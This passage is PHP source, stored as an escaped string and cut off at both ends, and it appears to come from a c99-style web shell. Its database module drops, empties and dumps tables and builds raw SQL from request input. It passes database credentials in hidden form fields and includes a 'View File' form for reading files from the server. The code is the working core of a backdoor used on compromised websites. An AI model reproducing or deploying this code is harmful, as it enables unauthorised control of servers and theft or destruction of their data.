\$sql_x = \"query\";}\r\n elseif (\$sql_x == \"tbldump\") {if (count(\$boxtbl) > 0) {\$dmptbls = \$boxtbl;} elseif(\$thistbl) {\$dmptbls = array(\$sql_tbl);} \$sql_x = \"dump\";}\r\n elseif (\$sql_x == \"tblcheck\") {\$sql_query = \"CHECK TABLE\"; foreach(\$boxtbl as \$v) {\$sql_query .= \"\\n`\".\$v.\"` ,\";} \$sql_query = substr(\$sql_query,0,-1).\";\"; \$sql_x = \"query\";}\r\n elseif (\$sql_x == \"tbloptimize\") {\$sql_query = \"OPTIMIZE TABLE\"; foreach(\$boxtbl as \$v) {\$sql_query .= \"\\n`\".\$v.\"` ,\";} \$sql_query = substr(\$sql_query,0,-1).\";\"; \$sql_x = \"query\";}\r\n elseif (\$sql_x == \"tblrepair\") {\$sql_query = \"REPAIR TABLE\"; foreach(\$boxtbl as \$v) {\$sql_query .= \"\\n`\".\$v.\"` ,\";} \$sql_query = substr(\$sql_query,0,-1).\";\"; \$sql_x = \"query\";}\r\n elseif (\$sql_x == \"tblanalyze\") {\$sql_query = \"ANALYZE TABLE\"; foreach(\$boxtbl as \$v) {\$sql_query .= \"\\n`\".\$v.\"` ,\";} \$sql_query = substr(\$sql_query,0,-1).\";\"; \$sql_x = \"query\";}\r\n elseif (\$sql_x == \"deleterow\") {\$sql_query = \"\"; if (!empty(\$boxrow_all)) {\$sql_query = \"DELETE * FROM `\".\$sql_tbl.\"`;\";} else {foreach(\$boxrow as \$v) {\$sql_query .= \"DELETE * FROM `\".\$sql_tbl.\"` WHERE\".\$v.\" LIMIT 1;\\n\";} \$sql_query = substr(\$sql_query,0,-1);} \$sql_x = \"query\";}\r\n elseif (\$sql_tbl_x == \"insert\") {\r\n if (\$sql_tbl_insert_radio == 1) {\r\n \$keys = \"\";\r\n \$akeys = array_keys(\$sql_tbl_insert);\r\n foreach (\$akeys as \$v) {\$keys .= \"`\".addslashes(\$v).\"`, \";}\r\n if (!empty(\$keys)) {\$keys = substr(\$keys,0,strlen(\$keys)-2);}\r\n \$values = \"\";\r\n \$i = 0;\r\n foreach (array_values(\$sql_tbl_insert) as \$v) {if (\$funct = \$sql_tbl_insert_functs[\$akeys[\$i]]) {\$values .= \$funct.\" (\";} \$values .= \"'\".addslashes(\$v).\"'\"; if (\$funct) {\$values .= \")\";} \$values .= \", \"; \$i++;}\r\n if (!empty(\$values)) {\$values = substr(\$values,0,strlen(\$values)-2);}\r\n \$sql_query = \"INSERT INTO `\".\$sql_tbl.\"` ( \".\$keys.\" ) VALUES ( \".\$values.\" );\";\r\n \$sql_x = \"query\";\r\n \$sql_tbl_x = \"browse\";\r\n }\r\n elseif (\$sql_tbl_insert_radio == 2) {\r\n \$set = mysql_buildwhere(\$sql_tbl_insert,\", \",\$sql_tbl_insert_functs);\r\n \$sql_query = \"UPDATE `\".\$sql_tbl.\"` SET \".\$set.\" WHERE \".\$sql_tbl_insert_q.\" LIMIT 1;\";\r\n \$result = mysql_query(\$sql_query) or print(mysql_smarterror());\r\n \$result = mysql_fetch_array(\$result, MYSQL_ASSOC);\r\n \$sql_x = \"query\";\r\n \$sql_tbl_x = \"browse\";\r\n }\r\n }\r\n if (\$sql_x == \"query\") {\r\n echo \"<hr size=\\\"1\\\" noshade>\";\r\n if ((\$submit) and (!\$sql_query_result) and (\$sql_confirm)) {if (!\$sql_query_error) {\$sql_query_error = \"Query was empty\";} echo \"<b>Error:</b> <br>\".\$sql_query_error.\"<br>\";}\r\n if (\$sql_query_result or (!\$sql_confirm)) {\$sql_x = \$sql_goto;}\r\n if ((!\$submit) or (\$sql_x)) {echo \"<table border=\\\"0\\\" width=\\\"100%\\\" height=\\\"1\\\"><tr><td><form action=\\\"\".\$sql_surl.\"\\\" method=\\\"POST\\\"><b>\"; if ((\$sql_query) and (!\$submit)) {echo \"Do you really want to:\";} else {echo \"SQL-Query :\";} echo \"</b><br><br><textarea name=\\\"sql_query\\\" cols=\\\"100\\\" rows=\\\"10\\\">\".htmlspecialchars(\$sql_query).\"</textarea><br><br><input type=\\\"hidden\\\" name=\\\"sql_x\\\" value=\\\"query\\\"><input type=\\\"hidden\\\" name=\\\"sql_tbl\\\" value=\\\"\".htmlspecialchars(\$sql_tbl).\"\\\"><input type=\\\"hidden\\\" name=\\\"submit\\\" value=\\\"1\\\"><input type=\\\"hidden\\\" name=\\\"sql_goto\\\" value=\\\"\".htmlspecialchars(\$sql_goto).\"\\\"><input type=\\\"submit\\\" name=\\\"sql_confirm\\\" value=\\\"Yes\\\"> <input type=\\\"submit\\\" value=\\\"No\\\"></form></td></tr></table>\";}\r\n }\r\n if (in_array(\$sql_x,\$acts)) {\r\n ?><table border=\"0\" width=\"100%\" height=\"1\"><tr><td width=\"30%\" height=\"1\"><b>Create new table:</b>\r\n\r\n <form action=\"<?php echo \$surl; ?>\">\r\n <input type=\"hidden\" name=\"x\" value=\"sql\">\r\n <input type=\"hidden\" name=\"sql_x\" value=\"newtbl\">\r\n <input type=\"hidden\" name=\"sql_db\" value=\"<?php echo htmlspecialchars(\$sql_db); ?>\">\r\n <input type=\"hidden\" name=\"sql_login\" value=\"<?php echo htmlspecialchars(\$sql_login); ?>\">\r\n <input type=\"hidden\" name=\"sql_passwd\" value=\"<?php echo htmlspecialchars(\$sql_passwd); ?>\">\r\n <input type=\"hidden\" name=\"sql_server\" value=\"<?php echo htmlspecialchars(\$sql_server); ?>\">\r\n <input type=\"hidden\" name=\"sql_port\" value=\"<?php echo htmlspecialchars(\$sql_port); ?>\">\r\n <input type=\"text\" name=\"sql_newtbl\" size=\"20\">\r\n\r\n <input type=\"submit\" value=\"Create\">\r\n </form></td>\r\n <td width=\"30%\" height=\"1\"><b>Dump DB:</b>\r\n <form action=\"<?php echo \$surl; ?>\">\r\n <input type=\"hidden\" name=\"x\" value=\"sql\">\r\n <input type=\"hidden\" name=\"sql_x\" value=\"dump\">\r\n <input type=\"hidden\" name=\"sql_db\" value=\"<?php echo htmlspecialchars(\$sql_db); ?>\">\r\n <input type=\"hidden\" name=\"sql_login\" value=\"<?php echo htmlspecialchars(\$sql_login); ?>\">\r\n\r\n <input type=\"hidden\" name=\"sql_passwd\" value=\"<?php echo htmlspecialchars(\$sql_passwd); ?>\">\r\n <input type=\"hidden\" name=\"sql_server\" value=\"<?php echo htmlspecialchars(\$sql_server); ?>\"><input type=\"hidden\" name=\"sql_port\" value=\"<?php echo htmlspecialchars(\$sql_port); ?>\"><input type=\"text\" name=\"dump_file\" size=\"30\" value=\"<?php echo \"dump_\".getenv(\"SERVER_NAME\").\"_\".\$sql_db.\"_\".date(\"d-m-Y-H-i-s\").\".sql\"; ?>\"><input type=\"submit\" name=\\\"submit\\\" value=\"Dump\"></form></td><td width=\"30%\" height=\"1\"></td></tr><tr><td width=\"30%\" height=\"1\"></td><td width=\"30%\" height=\"1\"></td><td width=\"30%\" height=\"1\"></td></tr></table>\r\n <?php\r\n if (!empty(\$sql_x)) {echo \"<hr size=\\\"1\\\" noshade>\";}\r\n if (\$sql_x == \"newtbl\") {\r\n echo \"<b>\";\r\n if ((mysql_create_db (\$sql_newdb)) and (!empty(\$sql_newdb))) {\r\n echo \"DB \\\"\".htmlspecialchars(\$sql_newdb).\"\\\" has been created with success!</b><br>\";\r\n }\r\n else {echo \"Can't create DB \\\"\".htmlspecialchars(\$sql_newdb).\"\\\".<br>Reason:</b> \".mysql_smarterror();}\r\n }\r\n elseif (\$sql_x == \"dump\") {\r\n if (empty(\$submit)) {\r\n \$diplay = FALSE;\r\n echo \"<form method=\\\"GET\\\"><input type=\\\"hidden\\\" name=\\\"x\\\" value=\\\"sql\\\"><input type=\\\"hidden\\\" name=\\\"sql_x\\\" value=\\\"dump\\\"><input type=\\\"hidden\\\" name=\\\"sql_db\\\" value=\\\"\".htmlspecialchars(\$sql_db).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_login\\\" value=\\\"\".htmlspecialchars(\$sql_login).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_passwd\\\" value=\\\"\".htmlspecialchars(\$sql_passwd).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_server\\\" value=\\\"\".htmlspecialchars(\$sql_server).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_port\\\" value=\\\"\".htmlspecialchars(\$sql_port).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_tbl\\\" value=\\\"\".htmlspecialchars(\$sql_tbl).\"\\\"><b>SQL-Dump:</b><br><br>\";\r\n echo \"<b>DB:</b> <input type=\\\"text\\\" name=\\\"sql_db\\\" value=\\\"\".urlencode(\$sql_db).\"\\\"><br><br>\";\r\n \$v = join (\";\",\$dmptbls);\r\n echo \"<b>Only tables (explode \\\";\\\") <b><sup>1</sup></b>:</b> <input type=\\\"text\\\" name=\\\"dmptbls\\\" value=\\\"\".htmlspecialchars(\$v).\"\\\" size=\\\"\".(strlen(\$v)+5).\"\\\"><br><br>\";\r\n if (\$dump_file) {\$tmp = \$dump_file;}\r\n else {\$tmp = htmlspecialchars(\"./dump_\".getenv(\"SERVER_NAME\").\"_\".\$sql_db.\"_\".date(\"d-m-Y-H-i-s\").\".sql\");}\r\n echo \"<b>File:</b> <input type=\\\"text\\\" name=\\\"sql_dump_file\\\" value=\\\"\".\$tmp.\"\\\" size=\\\"\".(strlen(\$tmp)+strlen(\$tmp) % 30).\"\\\"><br><br>\";\r\n echo \"<b>Download: </b> <input type=\\\"checkbox\\\" name=\\\"sql_dump_download\\\" value=\\\"1\\\" checked><br><br>\";\r\n echo \"<b>Save to file: </b> <input type=\\\"checkbox\\\" name=\\\"sql_dump_savetofile\\\" value=\\\"1\\\" checked>\";\r\n echo \"<br><br><input type=\\\"submit\\\" name=\\\"submit\\\" value=\\\"Dump\\\"><br><br><b><sup>1</sup></b> - all, if empty\";\r\n echo \"</form>\";\r\n }\r\n else {\r\n \$diplay = TRUE;\r\n \$set = array();\r\n \$set[\"sock\"] = \$sql_sock;\r\n \$set[\"db\"] = \$sql_db;\r\n \$dump_out = \"download\";\r\n \$set[\"print\"] = 0;\r\n \$set[\"nl2br\"] = 0;\r\n \$set[\"\"] = 0;\r\n \$set[\"file\"] = \$dump_file;\r\n \$set[\"add_drop\"] = TRUE;\r\n \$set[\"onlytabs\"] = array();\r\n if (!empty(\$dmptbls)) {\$set[\"onlytabs\"] = explode(\";\",\$dmptbls);}\r\n \$ret = mysql_dump(\$set);\r\n if (\$sql_dump_download) {\r\n @ob_clean();\r\n header(\"Content-type: application/octet-stream\");\r\n header(\"Content-length: \".strlen(\$ret));\r\n header(\"Content-disposition: attachment; filename=\\\"\".basename(\$sql_dump_file).\"\\\";\");\r\n echo \$ret;\r\n exit;\r\n }\r\n elseif (\$sql_dump_savetofile) {\r\n \$fp = fopen(\$sql_dump_file,\"w\");\r\n if (!\$fp) {echo \"<b>Dump error! Can't write to \\\"\".htmlspecialchars(\$sql_dump_file).\"\\\"!\";}\r\n else {\r\n fwrite(\$fp,\$ret);\r\n fclose(\$fp);\r\n echo \"<b>Dumped! Dump has been writed to \\\"\".htmlspecialchars(realpath(\$sql_dump_file)).\"\\\" (\".view_size(filesize(\$sql_dump_file)).\")</b>.\";\r\n }\r\n }\r\n else {echo \"<b>Dump: nothing to do!</b>\";}\r\n }\r\n }\r\n if (\$diplay) {\r\n if (!empty(\$sql_tbl)) {\r\n if (empty(\$sql_tbl_x)) {\$sql_tbl_x = \"browse\";}\r\n \$count = mysql_query(\"SELECT COUNT(*) FROM `\".\$sql_tbl.\"`;\");\r\n \$count_row = mysql_fetch_array(\$count);\r\n mysql_free_result(\$count);\r\n \$tbl_struct_result = mysql_query(\"SHOW FIELDS FROM `\".\$sql_tbl.\"`;\");\r\n \$tbl_struct_fields = array();\r\n while (\$row = mysql_fetch_assoc(\$tbl_struct_result)) {\$tbl_struct_fields[] = \$row;}\r\n if (\$sql_ls > \$sql_le) {\$sql_le = \$sql_ls + \$perpage;}\r\n if (empty(\$sql_tbl_page)) {\$sql_tbl_page = 0;}\r\n if (empty(\$sql_tbl_ls)) {\$sql_tbl_ls = 0;}\r\n if (empty(\$sql_tbl_le)) {\$sql_tbl_le = 30;}\r\n \$perpage = \$sql_tbl_le - \$sql_tbl_ls;\r\n if (!is_numeric(\$perpage)) {\$perpage = 10;}\r\n \$numpages = \$count_row[0]/\$perpage;\r\n \$e = explode(\" \",\$sql_order);\r\n if (count(\$e) == 2) {\r\n if (\$e[0] == \"d\") {\$asc_desc = \"DESC\";}\r\n else {\$asc_desc = \"ASC\";}\r\n \$v = \"ORDER BY `\".\$e[1].\"` \".\$asc_desc.\" \";\r\n }\r\n else {\$v = \"\";}\r\n \$query = \"SELECT * FROM `\".\$sql_tbl.\"` \".\$v.\"LIMIT \".\$sql_tbl_ls.\" , \".\$perpage.\"\";\r\n \$result = mysql_query(\$query) or print(mysql_smarterror());\r\n echo \"<hr size=\\\"1\\\" noshade><center><b>Table \".htmlspecialchars(\$sql_tbl).\" (\".mysql_num_fields(\$result).\" cols and \".\$count_row[0].\" rows)</b></center>\";\r\n echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl=\".urlencode(\$sql_tbl).\"&sql_tbl_x=structure\\\">[<b> Structure </b>]</a> \";\r\n echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl=\".urlencode(\$sql_tbl).\"&sql_tbl_x=browse\\\">[<b> Browse </b>]</a> \";\r\n echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl=\".urlencode(\$sql_tbl).\"&sql_x=tbldump&thistbl=1\\\">[<b> Dump </b>]</a> \";\r\n echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl=\".urlencode(\$sql_tbl).\"&sql_tbl_x=insert\\\">[ <b>Insert</b> ]</a> \";\r\n if (\$sql_tbl_x == \"structure\") {echo \"<br><br><b>Coming sooon!</b>\";}\r\n if (\$sql_tbl_x == \"insert\") {\r\n if (!is_array(\$sql_tbl_insert)) {\$sql_tbl_insert = array();}\r\n if (!empty(\$sql_tbl_insert_radio)) { } //Not Ready\r\n else {\r\n echo \"<br><br><b>Inserting row into table:</b><br>\";\r\n if (!empty(\$sql_tbl_insert_q)) {\r\n \$sql_query = \"SELECT * FROM `\".\$sql_tbl.\"`\";\r\n \$sql_query .= \" WHERE\".\$sql_tbl_insert_q;\r\n \$sql_query .= \" LIMIT 1;\";\r\n \$result = mysql_query(\$sql_query,\$sql_sock) or print(\"<br><br>\".mysql_smarterror());\r\n \$values = mysql_fetch_assoc(\$result);\r\n mysql_free_result(\$result);\r\n }\r\n else {\$values = array();}\r\n echo \"<form method=\\\"POST\\\"><table width=\\\"1%\\\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>\";\r\n foreach (\$tbl_struct_fields as \$field) {\r\n \$name = \$field[\"Field\"];\r\n if (empty(\$sql_tbl_insert_q)) {\$v = \"\";}\r\n echo \"<tr><td><b>\".htmlspecialchars(\$name).\"</b></td><td>\".\$field[\"Type\"].\"</td><td><select name=\\\"sql_tbl_insert_functs[\".htmlspecialchars(\$name).\"]\\\"><option value=\\\"\\\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\\\"\\\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\\\"text\\\" name=\\\"sql_tbl_insert[\".htmlspecialchars(\$name).\"]\\\" value=\\\"\".htmlspecialchars(\$values[\$name]).\"\\\" size=50></td></tr>\";\r\n \$i++;\r\n }\r\n echo \"</table><br>\";\r\n echo \"<input type=\\\"radio\\\" name=\\\"sql_tbl_insert_radio\\\" value=\\\"1\\\"\"; if (empty(\$sql_tbl_insert_q)) {echo \" checked\";} echo \"><b>Insert as new row</b>\";\r\n if (!empty(\$sql_tbl_insert_q)) {echo \" or <input type=\\\"radio\\\" name=\\\"sql_tbl_insert_radio\\\" value=\\\"2\\\" checked><b>Save</b>\"; echo \"<input type=\\\"hidden\\\" name=\\\"sql_tbl_insert_q\\\" value=\\\"\".htmlspecialchars(\$sql_tbl_insert_q).\"\\\">\";}\r\n echo \"<br><br><input type=\\\"submit\\\" value=\\\"Confirm\\\"></form>\";\r\n }\r\n }\r\n if (\$sql_tbl_x == \"browse\") {\r\n \$sql_tbl_ls = abs(\$sql_tbl_ls);\r\n \$sql_tbl_le = abs(\$sql_tbl_le);\r\n echo \"<hr size=\\\"1\\\" noshade>\";\r\n echo \"<img src=\\\"\".\$surl.\"x=img&img=multipage\\\" height=\\\"12\\\" width=\\\"10\\\" alt=\\\"Pages\\\"> \";\r\n \$b = 0;\r\n for(\$i=0;\$i<\$numpages;\$i++) {\r\n if ((\$i*\$perpage != \$sql_tbl_ls) or (\$i*\$perpage+\$perpage != \$sql_tbl_le)) {echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl=\".urlencode(\$sql_tbl).\"&sql_order=\".htmlspecialchars(\$sql_order).\"&sql_tbl_ls=\".(\$i*\$perpage).\"&sql_tbl_le=\".(\$i*\$perpage+\$perpage).\"\\\"><u>\";}\r\n echo \$i;\r\n if ((\$i*\$perpage != \$sql_tbl_ls) or (\$i*\$perpage+\$perpage != \$sql_tbl_le)) {echo \"</u></a>\";}\r\n if ((\$i/30 == round(\$i/30)) and (\$i > 0)) {echo \"<br>\";}\r\n else {echo \" \";}\r\n }\r\n if (\$i == 0) {echo \"empty\";}\r\n echo \"<form method=\\\"GET\\\"><input type=\\\"hidden\\\" name=\\\"x\\\" value=\\\"sql\\\"><input type=\\\"hidden\\\" name=\\\"sql_db\\\" value=\\\"\".htmlspecialchars(\$sql_db).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_login\\\" value=\\\"\".htmlspecialchars(\$sql_login).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_passwd\\\" value=\\\"\".htmlspecialchars(\$sql_passwd).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_server\\\" value=\\\"\".htmlspecialchars(\$sql_server).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_port\\\" value=\\\"\".htmlspecialchars(\$sql_port).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_tbl\\\" value=\\\"\".htmlspecialchars(\$sql_tbl).\"\\\"><input type=\\\"hidden\\\" name=\\\"sql_order\\\" value=\\\"\".htmlspecialchars(\$sql_order).\"\\\"><b>From:</b> <input type=\\\"text\\\" name=\\\"sql_tbl_ls\\\" value=\\\"\".\$sql_tbl_ls.\"\\\"> <b>To:</b> <input type=\\\"text\\\" name=\\\"sql_tbl_le\\\" value=\\\"\".\$sql_tbl_le.\"\\\"> <input type=\\\"submit\\\" value=\\\"View\\\"></form>\";\r\n echo \"<br><form method=\\\"POST\\\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\\\"1%\\\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>\";\r\n echo \"<tr>\";\r\n echo \"<td><input type=\\\"checkbox\\\" name=\\\"boxrow_all\\\" value=\\\"1\\\"></td>\";\r\n for (\$i=0;\$i<mysql_num_fields(\$result);\$i++) {\r\n \$v = mysql_field_name(\$result,\$i);\r\n if (\$e[0] == \"a\") {\$s = \"d\"; \$m = \"asc\";}\r\n else {\$s = \"a\"; \$m = \"desc\";}\r\n echo \"<td>\";\r\n if (empty(\$e[0])) {\$e[0] = \"a\";}\r\n if (\$e[1] != \$v) {echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl=\".\$sql_tbl.\"&sql_tbl_le=\".\$sql_tbl_le.\"&sql_tbl_ls=\".\$sql_tbl_ls.\"&sql_order=\".\$e[0].\"%20\".\$v.\"\\\"><b>\".\$v.\"</b></a>\";}\r\n else {echo \"<b>\".\$v.\"</b><a href=\\\"\".\$sql_surl.\"sql_tbl=\".\$sql_tbl.\"&sql_tbl_le=\".\$sql_tbl_le.\"&sql_tbl_ls=\".\$sql_tbl_ls.\"&sql_order=\".\$s.\"%20\".\$v.\"\\\"><img src=\\\"\".\$surl.\"x=img&img=sort_\".\$m.\"\\\" height=\\\"9\\\" width=\\\"14\\\" alt=\\\"\".\$m.\"\\\"></a>\";}\r\n echo \"</td>\";\r\n }\r\n echo \"<td><font color=\\\"green\\\"><b>Action</b></font></td>\";\r\n echo \"</tr>\";\r\n while (\$row = mysql_fetch_array(\$result, MYSQL_ASSOC)) {\r\n echo \"<tr>\";\r\n \$w = \"\";\r\n \$i = 0;\r\n foreach (\$row as \$k=>\$v) {\$name = mysql_field_name(\$result,\$i); \$w .= \" `\".\$name.\"` = '\".addslashes(\$v).\"' AND\"; \$i++;}\r\n if (count(\$row) > 0) {\$w = substr(\$w,0,strlen(\$w)-3);}\r\n echo \"<td><input type=\\\"checkbox\\\" name=\\\"boxrow[]\\\" value=\\\"\".\$w.\"\\\"></td>\";\r\n \$i = 0;\r\n foreach (\$row as \$k=>\$v)\r\n {\r\n \$v = htmlspecialchars(\$v);\r\n if (\$v == \"\") {\$v = \"<font color=\\\"green\\\">NULL</font>\";}\r\n echo \"<td>\".\$v.\"</td>\";\r\n \$i++;\r\n }\r\n echo \"<td>\";\r\n echo \"<a href=\\\"\".\$sql_surl.\"sql_x=query&sql_tbl=\".urlencode(\$sql_tbl).\"&sql_tbl_ls=\".\$sql_tbl_ls.\"&sql_tbl_le=\".\$sql_tbl_le.\"&sql_query=\".urlencode(\"DELETE FROM `\".\$sql_tbl.\"` WHERE\".\$w.\" LIMIT 1;\").\"\\\"><img src=\\\"\".\$surl.\"x=img&img=sql_button_drop\\\" alt=\\\"Delete\\\" height=\\\"13\\\" width=\\\"11\\\" border=\\\"0\\\"></a> \";\r\n echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl_x=insert&sql_tbl=\".urlencode(\$sql_tbl).\"&sql_tbl_ls=\".\$sql_tbl_ls.\"&sql_tbl_le=\".\$sql_tbl_le.\"&sql_tbl_insert_q=\".urlencode(\$w).\"\\\"><img src=\\\"\".\$surl.\"x=img&img=change\\\" alt=\\\"Edit\\\" height=\\\"14\\\" width=\\\"14\\\" border=\\\"0\\\"></a> \";\r\n echo \"</td>\";\r\n echo \"</tr>\";\r\n }\r\n mysql_free_result(\$result);\r\n echo \"</table><hr size=\\\"1\\\" noshade><p align=\\\"left\\\"><img src=\\\"\".\$surl.\"x=img&img=arrow_ltr\\\" border=\\\"0\\\"><select name=\\\"sql_x\\\">\";\r\n echo \"<option value=\\\"\\\">With selected:</option>\";\r\n echo \"<option value=\\\"deleterow\\\">Delete</option>\";\r\n echo \"</select> <input type=\\\"submit\\\" value=\\\"Confirm\\\"></form></p>\";\r\n }\r\n }\r\n else {\r\n \$result = mysql_query(\"SHOW TABLE STATUS\", \$sql_sock);\r\n if (!\$result) {echo mysql_smarterror();}\r\n else\r\n {\r\n echo \"<br><form method=\\\"POST\\\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\\\"100%\\\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\\\"checkbox\\\" name=\\\"boxtbl_all\\\" value=\\\"1\\\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>\";\r\n \$i = 0;\r\n \$tsize = \$trows = 0;\r\n while (\$row = mysql_fetch_array(\$result, MYSQL_ASSOC))\r\n {\r\n \$tsize += \$row[\"Data_length\"];\r\n \$trows += \$row[\"Rows\"];\r\n \$size = view_size(\$row[\"Data_length\"]);\r\n echo \"<tr>\";\r\n echo \"<td><input type=\\\"checkbox\\\" name=\\\"boxtbl[]\\\" value=\\\"\".\$row[\"Name\"].\"\\\"></td>\";\r\n echo \"<td> <a href=\\\"\".\$sql_surl.\"sql_tbl=\".urlencode(\$row[\"Name\"]).\"\\\"><b>\".\$row[\"Name\"].\"</b></a> </td>\";\r\n echo \"<td>\".\$row[\"Rows\"].\"</td>\";\r\n echo \"<td>\".\$row[\"Type\"].\"</td>\";\r\n echo \"<td>\".\$row[\"Create_time\"].\"</td>\";\r\n echo \"<td>\".\$row[\"Update_time\"].\"</td>\";\r\n echo \"<td>\".\$size.\"</td>\";\r\n echo \"<td> <a href=\\\"\".\$sql_surl.\"sql_x=query&sql_query=\".urlencode(\"DELETE FROM `\".\$row[\"Name\"].\"`\").\"\\\"><img src=\\\"\".\$surl.\"x=img&img=sql_button_empty\\\" alt=\\\"Empty\\\" height=\\\"13\\\" width=\\\"11\\\" border=\\\"0\\\"></a> <a href=\\\"\".\$sql_surl.\"sql_x=query&sql_query=\".urlencode(\"DROP TABLE `\".\$row[\"Name\"].\"`\").\"\\\"><img src=\\\"\".\$surl.\"x=img&img=sql_button_drop\\\" alt=\\\"Drop\\\" height=\\\"13\\\" width=\\\"11\\\" border=\\\"0\\\"></a> <a href=\\\"\".\$sql_surl.\"sql_tbl_x=insert&sql_tbl=\".\$row[\"Name\"].\"\\\"><img src=\\\"\".\$surl.\"x=img&img=sql_button_insert\\\" alt=\\\"Insert\\\" height=\\\"13\\\" width=\\\"11\\\" border=\\\"0\\\"></a> </td>\";\r\n echo \"</tr>\";\r\n \$i++;\r\n }\r\n echo \"<tr bgcolor=\\\"000000\\\">\";\r\n echo \"<td><center><b>+</b></center></td>\";\r\n echo \"<td><center><b>\".\$i.\" table(s)</b></center></td>\";\r\n echo \"<td><b>\".\$trows.\"</b></td>\";\r\n echo \"<td>\".\$row[1].\"</td>\";\r\n echo \"<td>\".\$row[10].\"</td>\";\r\n echo \"<td>\".\$row[11].\"</td>\";\r\n echo \"<td><b>\".view_size(\$tsize).\"</b></td>\";\r\n echo \"<td></td>\";\r\n echo \"</tr>\";\r\n echo \"</table><hr size=\\\"1\\\" noshade><p align=\\\"right\\\"><img src=\\\"\".\$surl.\"x=img&img=arrow_ltr\\\" border=\\\"0\\\"><select name=\\\"sql_x\\\">\";\r\n echo \"<option value=\\\"\\\">With selected:</option>\";\r\n echo \"<option value=\\\"tbldrop\\\">Drop</option>\";\r\n echo \"<option value=\\\"tblempty\\\">Empty</option>\";\r\n echo \"<option value=\\\"tbldump\\\">Dump</option>\";\r\n echo \"<option value=\\\"tblcheck\\\">Check table</option>\";\r\n echo \"<option value=\\\"tbloptimize\\\">Optimize table</option>\";\r\n echo \"<option value=\\\"tblrepair\\\">Repair table</option>\";\r\n echo \"<option value=\\\"tblanalyze\\\">Analyze table</option>\";\r\n echo \"</select> <input type=\\\"submit\\\" value=\\\"Confirm\\\"></form></p>\";\r\n mysql_free_result(\$result);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n else {\r\n \$acts = array(\"\",\"newdb\",\"serverstatus\",\"servervars\",\"processes\",\"getfile\");\r\n if (in_array(\$sql_x,\$acts)) {?><table border=\"0\" width=\"100%\" height=\"1\"><tr><td width=\"30%\" height=\"1\"><b>Create new DB:</b><form action=\"<?php echo \$surl; ?>\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"newdb\"><input type=\"hidden\" name=\"sql_login\" value=\"<?php echo htmlspecialchars(\$sql_login); ?>\"><input type=\"hidden\" name=\"sql_passwd\" value=\"<?php echo htmlspecialchars(\$sql_passwd); ?>\"><input type=\"hidden\" name=\"sql_server\" value=\"<?php echo htmlspecialchars(\$sql_server); ?>\"><input type=\"hidden\" name=\"sql_port\" value=\"<?php echo htmlspecialchars(\$sql_port); ?>\"><input type=\"text\" name=\"sql_newdb\" size=\"20\"> <input type=\"submit\" value=\"Create\"></form></td><td width=\"30%\" height=\"1\"><b>View File:</b><form action=\"<?php echo \$surl; ?>\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"getfile\"><input type=\"hidden\" name=\"sql_login\" value=\"<?php echo htmlspecialchars(\$sql_login); ?>\"><input type=\"hidden\" name=\"sql_passwd\" value=\"<?php echo htmlspecialchars(\$sql_passwd); ?>\"><input type=\"hidden\" name=\"sql_server\" value=\"<?php echo htmlspecialchars(\$sql_server); ?>\"><input type=\"hidden\" name=\"sql_port\" value=\"<?php echo htmlspecialchars(\$sql_port); ?>\"><input type=\"text\" name=\"sql_getfile\" size=\"30\" value=\"<?php echo htmlspecialchars(\$sql_getfile); ?>\"> <input type=\"submit\" value=\"Get\"></form></td><td width=\"30%\" height=\"1\"></td></tr><tr><td width=\"30%\" height=\"1\"></td><td width=\"30%\" height=\"1\"></td><td width=\"30%\" height=\"1\"></td></tr></table><?php }\r\n if (!empty(\$sql_x)) {\r\n echo \"<hr size=\\\"1\\\" noshade>\";\r\n if (\$sql_x == \"newdb\") {\r\n echo \"<b>\";\r\n if ((mysql_create_db (\$sql_newdb)) and (!empty(\$sql_newdb))) {echo \"DB \\\"\".htmlspecialchars(\$sql_newdb).\"\\\" has been created with success!</b><br>\";}\r\n else {echo \"Can't create DB \\\"\".htmlspecialchars(\$sql_newdb).\"\\\".<br>Reason:</b> \".mysql_smarterror();}\r\n }\r\n if (\$sql_x == \"serverstatus\") {\r\n \$result = mysql_query(\"SHOW STATUS\", \$sql_sock);\r\n echo \"<center><b>Server-status variables:</b><br><br>\";\r\n echo \"<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>\";\r\n while (\$row = 